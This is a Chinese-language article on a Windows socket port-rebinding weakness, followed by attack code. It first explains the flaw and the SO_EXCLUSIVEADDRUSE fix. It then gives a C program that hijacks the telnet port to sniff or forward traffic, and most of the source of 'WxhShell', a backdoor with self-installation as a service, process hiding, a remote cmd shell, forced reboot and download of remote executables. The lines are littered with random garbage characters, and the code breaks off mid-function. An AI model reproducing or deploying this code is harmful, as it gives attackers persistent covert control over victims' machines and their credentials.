在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
?>%u[g s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
A^K,[8VX M%B[>pONb7 saddr.sin_family = AF_INET;
l m e-e{-pB6 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
NPoXz ,O[vxN1X* bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
awkVjyq X izC>- 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
LpmspIPvf LV]\{' 这意味着什么?意味着可以进行如下的攻击:
mSj[t
dlT\VWMha( 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
(|[3/_!;v }MIH{CMH 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
6\TstY3 :.35pp,0 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
[CUJ A ?1N0+OW 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
zr[~wM 19N:9;Ixz 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
gr fF\_[: 1)YFEU&] 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
J:(Shd'4D
%ly;2HIk 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
lwY{rWo Nl_;l #include
j}VOr >xz #include
|wLQ)y* #include
cbwzT0 #include
6sZRR{' DWORD WINAPI ClientThread(LPVOID lpParam);
xc/|#TC8? int main()
`+f\Q2]Z {
aDOH3Ri0K! WORD wVersionRequested;
1|nB\xgu DWORD ret;
<>e<Xd:77{ WSADATA wsaData;
W@ Z=1y BOOL val;
X*JD SOCKADDR_IN saddr;
H9>&"=". SOCKADDR_IN scaddr;
A N%.LK int err;
#KK(Z\; SOCKET s;
h7y*2:l6 SOCKET sc;
YSwD#jO0 int caddsize;
=#^dG''*" HANDLE mt;
PaDT)RrEM DWORD tid;
ZGbZu wVersionRequested = MAKEWORD( 2, 2 );
<+$S{Z. err = WSAStartup( wVersionRequested, &wsaData );
`UI)H*GA8 if ( err != 0 ) {
> Qtyw.n printf("error!WSAStartup failed!\n");
gK<- *v return -1;
h4qR\LX }
7 %|>7 saddr.sin_family = AF_INET;
19rUvgC{M +>3c+h,%. //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
rx;U/)~#< W" !amMQ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
nB]Q^~jX saddr.sin_port = htons(23);
X,N@` if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'" tieew {
d+;wDu printf("error!socket failed!\n");
BE+YqT return -1;
YHA[PF
}
sy`s$Ed! val = TRUE;
+|H'Ij$ //SO_REUSEADDR选项就是可以实现端口重绑定的
6wd]X-G++ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Q|1bF!#(1 {
&7W6IM printf("error!setsockopt failed!\n");
"n
e'iJf_( return -1;
G6,8Xwk }
q
kKABow //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
\l2 s^7G_ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
oTfbx+i/G //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
?qbp ^~aSrREo if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
RnrM
rOh {
j<KC$[Kt ret=GetLastError();
I;v`o{ printf("error!bind failed!\n");
OL'=a|g|c return -1;
L%0lX$2&\ }
3aqmK.`H listen(s,2);
&f yFUg while(1)
&wuV}S7 {
%aKkk)s caddsize = sizeof(scaddr);
.'a |St //接受连接请求
FSmi.7 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
@Y,F&8a$ if(sc!=INVALID_SOCKET)
Hj\~sR$L- {
aOHCr>po, mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
ul?BKV+3E if(mt==NULL)
qLP+@wbJ {
asi1c
y\ printf("Thread Creat Failed!\n");
J:u|8>; break;
u J`&hX }
cP1jw%3P }
k:TfE6JZ CloseHandle(mt);
f3N:MH-c }
8Vn6* Xn closesocket(s);
vVW=1(QWI# WSACleanup();
o.5j@dr return 0;
t0>{0 5 }
yd72y'zi DWORD WINAPI ClientThread(LPVOID lpParam)
N>R%0m<e {
ie(7m|. SOCKET ss = (SOCKET)lpParam;
(<l2 ^H SOCKET sc;
v'!Ntk unsigned char buf[4096];
3+-(;>>\ SOCKADDR_IN saddr;
h9I)<_}R long num;
X*"Kg DWORD val;
nIjQLx DWORD ret;
g5Dx9d{ //如果是隐藏端口应用的话,可以在此处加一些判断
{K:Utdu($q //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
PNKT \yd saddr.sin_family = AF_INET;
xu=B saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
JY2
F-0t) saddr.sin_port = htons(23);
j''Iai_ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
aAri {
"Y!dn|3 printf("error!socket failed!\n");
0 MIMs# return -1;
gDub+^ye>/ }
-W_s]oBg val = 100;
BFOFes`>~ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
j/<y {
J31M:< ret = GetLastError();
tA-B3 ] return -1;
sZ"U=6R }
[kOA+\v if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
/[ ? F1Q {
~vGtNMQg ret = GetLastError();
=%\6}xPEl< return -1;
EKPTDKut }
qDM[7q3. if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
+q/h:q.TV {
fmJW d| printf("error!socket connect failed!\n");
2&0<$> closesocket(sc);
mi<D
bnou closesocket(ss);
\+3Wd$I return -1;
-o_TC }
#/Fu*0/)` while(1)
wYA/<0'yH {
X|`,AKJit //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
"Y]ZPFh#. //如果是嗅探内容的话,可以再此处进行内容分析和记录
0f%:OU5Y //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
R2aK5~ num = recv(ss,buf,4096,0);
Sx)Il~ x if(num>0)
m@.{zW7bO send(sc,buf,num,0);
8-a6Q|
else if(num==0)
1Wk
EPj, break;
K$cIVsfr num = recv(sc,buf,4096,0);
g/,Bx!'8p if(num>0)
oqba:y;AR send(ss,buf,num,0);
B bw1k else if(num==0)
SECQVA_y` break;
RQCQGa^cP }
V;-.38py closesocket(ss);
5\0.[W{^ closesocket(sc);
_IV@^v return 0 ;
6KCmswvE }
`Kw"XGT (?BgT i\ p@Y$e Z:O ==========================================================
bH/pa#G(
1?RCJ]e5 下边附上一个代码,,WXhSHELL
~H|LWCU)K8 RLz`aBT ==========================================================
ZQ9oZHU m _S2^;n? #include "stdafx.h"
h
^h-pd GR ?u?- #include <stdio.h>
d^5SeCs6 #include <string.h>
'[ g)v #include <windows.h>
BZ+ mO #include <winsock2.h>
As~p1%nok #include <winsvc.h>
"qTC(F9N$. #include <urlmon.h>
Q 95 k!/_/^{ #pragma comment (lib, "Ws2_32.lib")
1Bk*G>CX9( #pragma comment (lib, "urlmon.lib")
^i+z_%V g1wI/ #define MAX_USER 100 // 最大客户端连接数
zQ5jx5B": #define BUF_SOCK 200 // sock buffer
O;0<^M/0G #define KEY_BUFF 255 // 输入 buffer
H='9zqYZ<W 6IY}SI0N #define REBOOT 0 // 重启
6L2*gO:r? #define SHUTDOWN 1 // 关机
mvA xx`jc Bdq"6SK> #define DEF_PORT 5000 // 监听端口
cL)rjty2 9LEilmPs #define REG_LEN 16 // 注册表键长度
id tQXwa #define SVC_LEN 80 // NT服务名长度
|5IY`;+9 )~.&bEm\ // 从dll定义API
Pkx(M E typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
{,f!'i&b@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
v^],loi<V typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
<`xRqe:&9 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
aY[ 0A_ mU+FQX // wxhshell配置信息
oiv2rOFu struct WSCFG {
tM$0 >E int ws_port; // 监听端口
{?f ^ char ws_passstr[REG_LEN]; // 口令
an=+6lIl int ws_autoins; // 安装标记, 1=yes 0=no
lDJd#U'V char ws_regname[REG_LEN]; // 注册表键名
a^XTW7]r char ws_svcname[REG_LEN]; // 服务名
#
5f|1O char ws_svcdisp[SVC_LEN]; // 服务显示名
(C l`+ V char ws_svcdesc[SVC_LEN]; // 服务描述信息
BY4 R@) char ws_passmsg[SVC_LEN]; // 密码输入提示信息
5'kTe= int ws_downexe; // 下载执行标记, 1=yes 0=no
6I cM:x char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
A-7wkZ.H char ws_filenam[SVC_LEN]; // 下载后保存的文件名
*%N7QyO`I I4<{R };
/s8%02S L_~I~ // default Wxhshell configuration
e}R2J`7 struct WSCFG wscfg={DEF_PORT,
9O=05CQ "xuhuanlingzhe",
bmO__1 1,
) qyx|D "Wxhshell",
~f=6?5.wa "Wxhshell",
moVa'1ul "WxhShell Service",
g;-+7ViIr "Wrsky Windows CmdShell Service",
G{f`K^ "Please Input Your Password: ",
StyB"1y 1,
w{r(F` "
http://www.wrsky.com/wxhshell.exe",
gl9pgY1ni "Wxhshell.exe"
@r/Id{pCI };
M8?#%x6;N {wpMg // 消息定义模块
g8+4$2`ny char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
_PyW=Tj char *msg_ws_prompt="\n\r? for help\n\r#>";
5"}y\ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
%%as>}. char *msg_ws_ext="\n\rExit.";
?K4.L?D#J char *msg_ws_end="\n\rQuit.";
I[g?Ju > char *msg_ws_boot="\n\rReboot...";
AY&9JSu6 char *msg_ws_poff="\n\rShutdown...";
=MJ-s;raq char *msg_ws_down="\n\rSave to ";
T+K` ^xv_L V/(`Ek- char *msg_ws_err="\n\rErr!";
AJ>BF.> char *msg_ws_ok="\n\rOK!";
Th~3mf
# -Ap2NpZ"t char ExeFile[MAX_PATH];
^fE\ S5P int nUser = 0;
@jE d%W HANDLE handles[MAX_USER];
}
T/}0W]0 int OsIsNt;
(RDa,& )]/i SERVICE_STATUS serviceStatus;
Som.
qD SERVICE_STATUS_HANDLE hServiceStatusHandle;
[ GR|$/(z= FtFv<UV // 函数声明
C`NBHRa> int Install(void);
V4`:Vci Aw int Uninstall(void);
Ms:KM{T0 int DownloadFile(char *sURL, SOCKET wsh);
5w,lw int Boot(int flag);
*or2 void HideProc(void);
_'!N q int GetOsVer(void);
L876$ int Wxhshell(SOCKET wsl);
$ ]W[y= void TalkWithClient(void *cs);
LsJs Q
h int CmdShell(SOCKET sock);
d`?U!?Si int StartFromService(void);
YW?7*go'Z int StartWxhshell(LPSTR lpCmdLine);
{k_ PMl0G o%V
@D'w VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
[!J
@a VOID WINAPI NTServiceHandler( DWORD fdwControl );
Q?
<-`7 ?qf:_G // 数据结构和表定义
=E
[ 4H SERVICE_TABLE_ENTRY DispatchTable[] =
:(bdI] {
3 {NaZIk {wscfg.ws_svcname, NTServiceMain},
DA+A >5/ {NULL, NULL}
ZL4l
(&" };
n0+g]|a
AF g[#k.CuP // 自我安装
9tzoris[~ int Install(void)
}zkL[qu; {
c!\.[2n char svExeFile[MAX_PATH];
jw/'*e HKEY key;
<=;H[}
e strcpy(svExeFile,ExeFile);
935-{h@k MB]#%g& // 如果是win9x系统,修改注册表设为自启动
~/j$TT" if(!OsIsNt) {
4ss&'h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
XGE
2J RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
xb4Pt`x)rS RegCloseKey(key);
]>
nPqL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
|MTpU@`p5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ruZYehu1W RegCloseKey(key);
uSABh^ return 0;
pT("2:)x }
V*6l6-y~Ih }
l;XU#6{ }
$Cz1C else {
TqS2!/jp &u+yM
D // 如果是NT以上系统,安装为系统服务
0M$#95n SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
[NHg&R H if (schSCManager!=0)
RDUT3H6~ {
e1^fUOS SC_HANDLE schService = CreateService
E:08%4O (
ad"'O] schSCManager,
\@Ee9C13 wscfg.ws_svcname,
p&i.)/ wscfg.ws_svcdisp,
J"%8:pL SERVICE_ALL_ACCESS,
M0cd-Dn SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
TA Ftcs: SERVICE_AUTO_START,
~gu=x&{ SERVICE_ERROR_NORMAL,
I*^5'N' svExeFile,
44\!PYf7 NULL,
w+t# Yb\7 NULL,
7V~
"x&Eu NULL,
n11LxGwk NULL,
8h*t55 NULL
E)C.eW / );
Of-C if (schService!=0)
8<YX7e {
O4m(Er@a CloseServiceHandle(schService);
A5sf CloseServiceHandle(schSCManager);
"/Y<G strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
"Z;~Y=hC13 strcat(svExeFile,wscfg.ws_svcname);
J6*f Uh if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
q}#iV$dAj RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
|:./hdcad RegCloseKey(key);
Xl#Dw bx return 0;
Wu4ot0SZ }
Ba/RO36&c }
6XdWm CloseServiceHandle(schSCManager);
bRWIDPh }
8V6=i'GK }
A[RHw< GHv{ return 1;
p`d
XqW }
2Oyy`k
p= {Jf}v // 自我卸载
`-4'/~G int Uninstall(void)
EbCIIMbe" {
K'x4l,rq HKEY key;
fi=0{ dw~[9oh if(!OsIsNt) {
^uia`sOP4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
a* D,*C5} RegDeleteValue(key,wscfg.ws_regname);
e,EK,,iY5 RegCloseKey(key);
|)9thIQF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
1hR
(N RegDeleteValue(key,wscfg.ws_regname);
OFL|RLiD RegCloseKey(key);
o*X]b] return 0;
$50\"mo~z }
+fM&su=wl }
S"zk!2@C }
Vr 8:nP: else {
M ~als3 RoX
&+~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
jk )Vb if (schSCManager!=0)
3S5^`Ag# {
@|BD|{k SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
uG;?vvg> if (schService!=0)
4:D:| r {
[cDbaq,T if(DeleteService(schService)!=0) {
cA<<&C CloseServiceHandle(schService);
H#35@HF*o CloseServiceHandle(schSCManager);
3 -tO;GKb return 0;
:V-k'hm
& }
{-HDkG' 8 CloseServiceHandle(schService);
0E-pA3M6 }
sm1;MF]/u CloseServiceHandle(schSCManager);
^00{Hd6 }
Jn=42Q:> }
mwIk^Sz]@ 8"x9#kyU<3 return 1;
(_K_`5d;QI }
Tp?-*K FqwIJ|ct // 从指定url下载文件
\ZMP_UU( int DownloadFile(char *sURL, SOCKET wsh)
Z ] '> {
r?pZ72q HRESULT hr;
1SUzzlRx char seps[]= "/";
:N2E}hxk char *token;
P[FV2R~ char *file;
T^]7R4Fg char myURL[MAX_PATH];
/YFa
;2 W char myFILE[MAX_PATH];
Q/py qe G qEQAn/& strcpy(myURL,sURL);
b,Ke>.m token=strtok(myURL,seps);
}~F~hf>s while(token!=NULL)
^LVk5l)\>g {
Um z05* file=token;
y@3Q;~l, token=strtok(NULL,seps);
ePEe?o4; }
:m Kxa paWxanSt GetCurrentDirectory(MAX_PATH,myFILE);
TGf;_)El strcat(myFILE, "\\");
XFQNr` strcat(myFILE, file);
+Rqbf send(wsh,myFILE,strlen(myFILE),0);
|c0, send(wsh,"...",3,0);
4z_n4= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
@r<b:?u if(hr==S_OK)
b/u8}
J return 0;
J=iRul^S else
zb :kanb- return 1;
@}DFp`~5| +AoP{x$Ia }
U;U08/y g*y/j] // 系统电源模块
z]=8eV\ int Boot(int flag)
v L}T~_=3 {
tuLH}tkNY HANDLE hToken;
u1^\MVO8 TOKEN_PRIVILEGES tkp;
]JdJe6`Mc ,?(ciO) if(OsIsNt) {
`\N]wlB2/b OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Jf_%<\ O LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
<bUXC@3W tkp.PrivilegeCount = 1;
@?Zf-. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
@h}`DNaZ^ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
j (ygQ4T if(flag==REBOOT) {
]-:6T0JuS if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
w2OsLi Sv return 0;
Od{jt7 <j# }
SkHYXe"] else {
{x{H$ f if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
*5D3vB*S return 0;
xE1'&!4O }
ZzcPiTSO }
V_"f|[1 else {
!D:Jbt@R<n if(flag==REBOOT) {
S!hXf|*0[ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
%dW%o{ return 0;
|4mVT&63( }
c)~h<=) else {
aSL6zye
, if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
$UvPo0{ return 0;
`/4:I }
uel{`T[S }
J,5+47b1}R wL3,g2- L return 1;
$a(`ve| }
1~\M!SQ) >c~RI7uu // win9x进程隐藏模块
m`}{V5; void HideProc(void)
xu\eX x6H {
n]y EdL/1 x2W#ROfg HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
$1Z6\G O if ( hKernel != NULL )
;:]\KJm}? {
?S tsH pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
=a$Oecg? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
}k7'"`#?" FreeLibrary(hKernel);
->gZ)?Fqy }
vzXag*0
YGk9b+` return;
%8r/oS }
hXB|g[zT 9Ah[rK*} // 获取操作系统版本
8-Me.2K int GetOsVer(void)
jfp z`zE {
qP1FJ89H OSVERSIONINFO winfo;
Vn|1v4U! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
h|)vv4-d| GetVersionEx(&winfo);
lV6dm=k if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
PsnGXcj return 1;
ke%pZ7{u else
BKIjNV3 return 0;
Riry_
}
O !&,5 Dy F9flSeN // 客户端句柄模块
L0NA*C
int Wxhshell(SOCKET wsl)
fU+Pn@' {
uQ/h'v SOCKET wsh;
m3.sVI0I struct sockaddr_in client;
Q(Gl{#b DWORD myID;
nwmW.(R4 1m@^E:w while(nUser<MAX_USER)
9 OT,TpA {
N#ioJ^}n: int nSize=sizeof(client);
eQDX:b wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
3EK9,:<Cf if(wsh==INVALID_SOCKET) return 1;
u2iXJmM* s'\$t handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
(gXN%rsY if(handles[nUser]==0)
Vba.uKNjk closesocket(wsh);
RU#F8O else
1/Zh^foG nUser++;
,wAz^cK| }
j
!H^-d}q WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
iG<Som 9`B$V##-L return 0;
T+IF}4ed }
hdma=KqZ( %)(Cp-b! // 关闭 socket
wvby?MhPY void CloseIt(SOCKET wsh)
K8I$]M {
6'-As=iw closesocket(wsh);
+.yT/y " nUser--;
=E*Gb[r_7 ExitThread(0);
Y.6SOu5$] }
~AB*]Us \jU |(DE // 客户端请求句柄
O XP\R void TalkWithClient(void *cs)
g(4bBa9y {
tJ0NPI56yP r 2:2,5_ SOCKET wsh=(SOCKET)cs;
/)3Lnn{W char pwd[SVC_LEN];
[1yq{n= char cmd[KEY_BUFF];
0JjUAxNq char chr[1];
R.9V,R5 int i,j;
j2 %^qL \cJa;WM> while (nUser < MAX_USER) {
PkuTg"; (5Nv8H8| if(wscfg.ws_passstr) {
`'S0*kMT if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9 ;i\g= //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Cb;WZ3HR //ZeroMemory(pwd,KEY_BUFF);
ti @kKz i=0;
/~p+j{0L3W while(i<SVC_LEN) {
=/0=$\Ws K }$&:nao // 设置超时
3L5r*fa fd_set FdRead;
U9hS<}<Ki struct timeval TimeOut;
OQ&'Dti FD_ZERO(&FdRead);
#I*QX%(H# FD_SET(wsh,&FdRead);
` uCI Xb TimeOut.tv_sec=8;
{FO$yw=> TimeOut.tv_usec=0;
5 `/< v^ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
rf&M!d}! if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
%3r:s`{ KKe8
ly, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
"tk-w{> pwd
=chr[0]; ;3eKqr0
if(chr[0]==0xd || chr[0]==0xa) { }f}}A=
pwd=0; %kshQ%P)?
break; Q>< 0[EPj3
} <.K4JlbT
i++; 9LJZ-/Wq
} YX*x&5]lq
-V.d?A4"
// 如果是非法用户,关闭 socket !D^c3d
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `{v?6:G:Q
} BqK(DH^9N
l! bv^
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i]{1^pKq
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3>M&D20Z
kS5_
while(1) { :iWS\G^U
fh8j2S9J
ZeroMemory(cmd,KEY_BUFF); s"KJiQKGM
,MPB/j^o5!
// 自动支持客户端 telnet标准 Gbpw5n;e
j=0; rZXrT}Xh{W
while(j<KEY_BUFF) { !A3-0zN!
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bPKOw<
cmd[j]=chr[0]; y]
oaO+
if(chr[0]==0xa || chr[0]==0xd) { Io`P,l:
cmd[j]=0; PUJ2`iP1^3
break; hB;VCg8
} |KI UgI
j++; 4bVO9aUG{
} am1[9g8L
x\e;+ubt}
// 下载文件 J5Z%ImiT^O
if(strstr(cmd,"http://")) { n{0Ld -zH
send(wsh,msg_ws_down,strlen(msg_ws_down),0); qFX~[h8i+
if(DownloadFile(cmd,wsh)) =<@2#E)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !|waK~jK
else $lA
V 6I.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rf:XRJ<4
} <yA}i"-1W
else { 38ES($
]va>ex$d
switch(cmd[0]) { _n8GWBi
m><w0k?t
// 帮助 N7r_77%m0
case '?': { pW0dB_
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :e1o<JgPt
break; !`JHH&
} J@pb[O L,
// 安装 ( lm&*tKm
case 'i': { +ECDD'^!
if(Install()) _Q%vK*n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g1E~+@
else sAn0bX
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s'aip5P
break; wFh8?Z3u_
} [D"t~QMr
// 卸载 Y}*\[}l:&x
case 'r': { Z7rJ}VP
if(Uninstall()) o{b=9-V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /
O/`<
else 7M_U2cd|TD
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gbeghLP[?
break; /I5X"x
} :AdDLpk3j
// 显示 wxhshell 所在路径 -~[9U,
case 'p': { V"o7jsFH6n
char svExeFile[MAX_PATH]; Jf)bHjC_V
strcpy(svExeFile,"\n\r");
JCcZuwu[
strcat(svExeFile,ExeFile); \6?A!w~6
send(wsh,svExeFile,strlen(svExeFile),0); #o/H~Iv
break; 5Z/GK2[HL
} hRI"y":zD
// 重启 cq&*.
case 'b': { 'TC/vnM
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .MW@;
if(Boot(REBOOT)) &;,,H< p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1(Y7mM8\
else { m"\:o
closesocket(wsh); `!:q;i]}
ExitThread(0); 1% F?B-k
} <$w?/y/'
break; u cwnA
} 9j]sD/L5q
// 关机 HmfG$Z
case 'd': { X:a`B(@S
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a {}|Bf<
if(Boot(SHUTDOWN)) <}U'V}g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L9Z;:``p
else { Rgo rkZlVM
closesocket(wsh); l\AMl
\
ExitThread(0); .?p\n7
} /&& 2u7*
break; do-ahl,
} etT +
// 获取shell H.<a`mm8
case 's': { e~ aqaY~}
CmdShell(wsh); JjpRHw8\
closesocket(wsh); n%R;-?*v
ExitThread(0); FlfI9mm
break; \~d";~Y`
} V@7KsB
// 退出 K3uG2g(>2
case 'x': { oRKEJNps
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KIA 2"KbjG
CloseIt(wsh); jV#ahNq;
break; n?\ nn3
} `nKH"TaX
// 离开 )b<k#(i@#
case 'q': { =1I#f
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 50TA:7
closesocket(wsh); +x9cT G
WSACleanup(); {e|*01hE
exit(1); .6O"|
Mqb
break; uPYmHA}_/
} gj\)CBOv
} q#Zs\PD
} ZvYLL{>}w
QB:i/9
// 提示信息 4k/VBZB
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E3@QI?n^^
} =.]l*6WV
} [S.ZJUns
RT93Mt%P
return; kt[:@Nda9
} wxm:7$4C
tx"sH]n
// shell模块句柄 BQcE9~H
int CmdShell(SOCKET sock) ;U1UFqZ`
{ kyAXRwzI
STARTUPINFO si; O3N0YGhJ
ZeroMemory(&si,sizeof(si)); I$Qs;- (
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @prG%vb"
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4`Q3v4fOF
PROCESS_INFORMATION ProcessInfo; ;fw1
char cmdline[]="cmd"; ky
8e p
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BR'I+lQ
return 0; ,BF E=:ZIK
} "fg](Cp[z
cJM:
// 自身启动模式 $M_x!f'{>
int StartFromService(void) RH}A
{ =X?\MVWB
typedef struct J};z85B
{ +(xeT+J
DWORD ExitStatus; -p-B2?)A
DWORD PebBaseAddress; `X,yM-(
DWORD AffinityMask; rC:?l(8ng3
DWORD BasePriority; L,d
LE-L
ULONG UniqueProcessId; S$f6a'
